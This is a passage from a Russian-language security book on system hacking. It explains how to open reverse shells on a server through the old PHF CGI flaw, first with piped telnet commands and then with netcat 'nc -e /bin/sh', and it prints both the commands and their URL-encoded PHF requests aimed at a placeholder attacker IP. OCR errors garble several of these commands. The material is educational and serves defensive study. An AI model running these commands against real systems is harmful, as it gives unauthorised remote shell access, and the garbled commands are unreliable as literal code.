Возвращаясь к рассматриваемому примеру, отметим, что для инициализации ревер-
сивного соединения
telnet
на
взламываемом сервере необходимо запустить следую-
щую команду, действие которой основано на наличии уже известного нам изъяна PHF.
/bin/telnet
1Р_хакера
80 | /bin/sh I /bin/telnet
1Р_хакера
25
Данная команда, представленная в виде параметра
PHF,
выглядит следующим образом.
/cgi-bin/phf?Qalias=x%Oa/bin/telnet%20IP_xaKepa
%2080%20|%20/bin/sh%20|%20/bin/telnet%20IP_xaKepa%2025
Давайте посмотрим, что происходит, когда броузер передает Web-серверу данную
строку. С помощью команды /bin/telnet
1Р_хакера
8.0 на взламываемом узле запус-
кается
telnet
и
подключается
к
порту
80
нашего компьютера.
Это
позволит
нам
вво-
дить команды, которые будут выполняться удаленным компьютером. В соответствии со
стандартными соглашениями ввода/вывода системы UNIX все, что мы будем набирать
на клавиатуре, будет перенаправляться в качестве входных данных командной оболочке
Bourne
(/bin/sh).
Выводимые же результаты с помощью конвейера будут перенаправ-
лены командой /bin/telnet по адресу
1Р_хакера
на порт 25. Все это и создаст ревер-
сивный сеанс telnet-связи, отображаемый в двух отдельных окнах. Порты 80 и 25 выбра-
ны из-за того, что большинство брандмауэров чаще всего разрешает их использовать для
создания исходящих соединений. Однако можно выбрать и любые другие порты, —
лишь бы их использование для обмена данными не блокировалось брандмауэром.
Еще один метод создания обратного канала заключается в использовании самой ути-
литы пс. Для этого достаточно, чтобы программа пс уже присутствовала на сервере или
могла быть помещена туда с помощью какого-либо механизма (например, через ано-
нимный сеанс FTP). Как мы уже не раз отмечали, пс — это одна из лучших утилит. По-
этому совсем не удивительно, что в последнее время ее можно найти в комплекте по-
ставки многих бесплатных версий UNIX. К сожалению, последнее обстоятельство имеет
и обратную сторону — это повышает вероятность того, что хакеру даже не понадобится
внедрять эту утилиту на
интересующий
его узел. Однако само присутствие пс на узле
еще вовсе не означает, что ее можно сразу же использовать для создания обратного ка-
нала, поскольку нет никаких гарантий того, что она была скомпилирована с использо-
ванием директивы
#def
ine
GAPING__SECURITY_HOLE,
без которой параметр
-е,
исполь-
зуемый для создания обратного канала, применить не удастся. В нашем примере мы бу-
дем считать, что на узле каким-то образом оказалась нужная версия пс.
Подобно описанному выше telnet-методу, создание обратного канала с помощью
утилиты пс состоит из двух этапов. Сначала необходимо выполнить следующую ко-
манду, которая впоследствии обеспечит взаимодействие с обратным каналом, создан-
ным с использованием пс на взламываемом компьютере.
[tsunami]#
пс -1
-n
-v -p 80
После того как запущена утилита прослушивания, на удаленном узле необходимо
выполнить следующую команду.
пс -е /bin/sh
1Р_хакера
80
Данная команда, представленная в форме, требуемой для использования изъяна
PHF, имеет следующий вид.
/cgi-bin/phf?Qalias=x%Oa/bin/nc%20-e%20/bin/sh%20JP_xaKepa%2080
Как только Web-сервер выполнит эту строку, с помощью утилиты пс будет создан
обратный канал, который подключит командную оболочку (в данном случае —
/bin/sh) к находящемуся в режиме ожидания компьютеру хакера. Это обеспечит ин-
терактивный доступ к командной оболочке, причем соединение будет установлено са-
мой взламываемой системой.
348 Часть II.
Хакинг
систем